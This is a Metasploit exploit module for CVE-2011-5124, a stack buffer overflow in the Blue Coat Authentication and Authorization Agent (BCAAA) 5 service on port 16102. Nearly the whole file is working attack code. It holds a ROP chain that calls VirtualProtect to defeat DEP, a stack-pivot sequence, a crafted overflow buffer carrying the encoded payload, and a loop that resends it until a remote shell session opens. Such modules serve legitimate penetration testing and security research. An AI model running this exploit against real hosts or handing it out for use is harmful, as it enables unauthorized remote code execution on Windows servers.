##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Blue Coat Authentication and Authorization Agent (BCAAA) 5 Buffer Overflow",
      'Description'    => %q{
          This module exploits a stack buffer overflow in process bcaaa-130.exe (port 16102),
        which comes as part of the Blue Coat Authentication proxy.  Please note that by default,
        this exploit will attempt up to three times in order to successfully gain remote code
        execution (in some cases, it takes as many as five times).  This can cause your activity
        to look even more suspicious.  To modify the number of exploit attempts, set the
        ATTEMPTS option.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Paul Harrington', # Initial discovery and PoC
          'Travis Warren',   # MSF Module with Universal DEP/ASLR bypass
          'sinn3r',          # More testing / reliability, plus minor changes
        ],
      'References'     =>
        [
          [ 'CVE', '2011-5124' ],
          [ 'OSVDB', '72095'],
          [ 'URL', 'https://kb.bluecoat.com/index?page=content&id=SA55' ],
          [ 'URL', 'http://seclists.org/bugtraq/2011/Jul/44' ]
        ],
      'Payload'        =>
        {
          'Space'    => 936,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'BCAAA Version 5.4.6.1.54128', {} ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Apr 4 2011",
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(16102),
          OptInt.new("ATTEMPTS", [true, "Number of attempts to try to exploit", 3]),
        ])
  end

  def junk
    return rand_text(4).unpack("L")[0].to_i
  end

  def exploit

    rop_gadgets = [
      # rop chain generated with mona.py
      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
      0x7c37a140,  # Make EAX readable
      0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
      junk,        # EBP (filler)
      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
      0x7c37a140,  # <- *&VirtualProtect()
      0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
      0x7c346c0b,  # Slide, so next gadget would write to correct stack location
      0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
      junk,        # EDI (filler)
      junk,        # will be patched at runtime (VP), then picked up into ESI
      junk,        # EBX (filler)
      0x7c376402,  # POP EBP # RETN (msvcr71.dll)
      0x7c345c30,  # ptr to 'push esp #  ret ' (from MSVCR71.dll)
      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
      0xfffffdff,  # size 0x00000201 -> ebx, modify if needed
      0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
      0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
      0xffffffff,  # pop value into ebx
      0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
      0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
      0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
      0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
      0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
      0x7c34b8d8,  # ROP NOP (-> edi)
      0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
      0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
      0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
      0x90909090,  # NOPS (-> eax)
      0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
    ].pack("V*")

    pivot = [
      0x7C3410C4,  # RETN (MSVCR71.dll)
      0x1003800C,  # PUSH ESP; POP EBX; POP EBP; RETN (SmAgentAPI.dll)
      0x4241467D,  # EBP
      0x7C3C8937,  # XCHG EAX,EBP; RETN (MSVCP71.dll)
      0x7C3417D2,  # SUB EAX,EAX; RETN (MSVCR71.dll)
      0x7C3C8937,  # XCHG EAX,EBP; RETN (MSVCP71.dll)
      0x7C34f6C2,  # MOV EAX, EBX; POP EBX; RETN (MSVCR71.dll)
      junk,        # EBX
      0x7C3C8937,  # XCHG EAX,EBP; RETN (MSVCP71.dll)
      0x5D02D0A0,  # SUB EBP,EAX; RETN (MSVCR70.dll)
      0x7C3C8937,  # XCHG EAX,EBP; RETN (MSVCP71.dll)
      0x7C3B5080,  # XCHG EAX,ESP; RETN (MSVCP71.dll)
    ].pack("V*")

    attempts = datastore['ATTEMPTS']

    #Sometimes a few attempts are needed to get a shell back (3 or 5 times)
    attempts.times do |i|
      #If we have a session on the box already, then we don't continue trying
      break if session_created?
      buffer =  rand_text(8)
      buffer << rop_gadgets
      buffer << payload.encoded
      buffer << 'EBAB'
      buffer << rand_text(8)
      buffer << pivot

      connect
      print_status("Sending request to #{rhost}. Attempt ##{(i+1).to_s}...")
      sock.put(buffer)
      handler
      select(nil, nil, nil, 2)
      disconnect
    end
  end
end
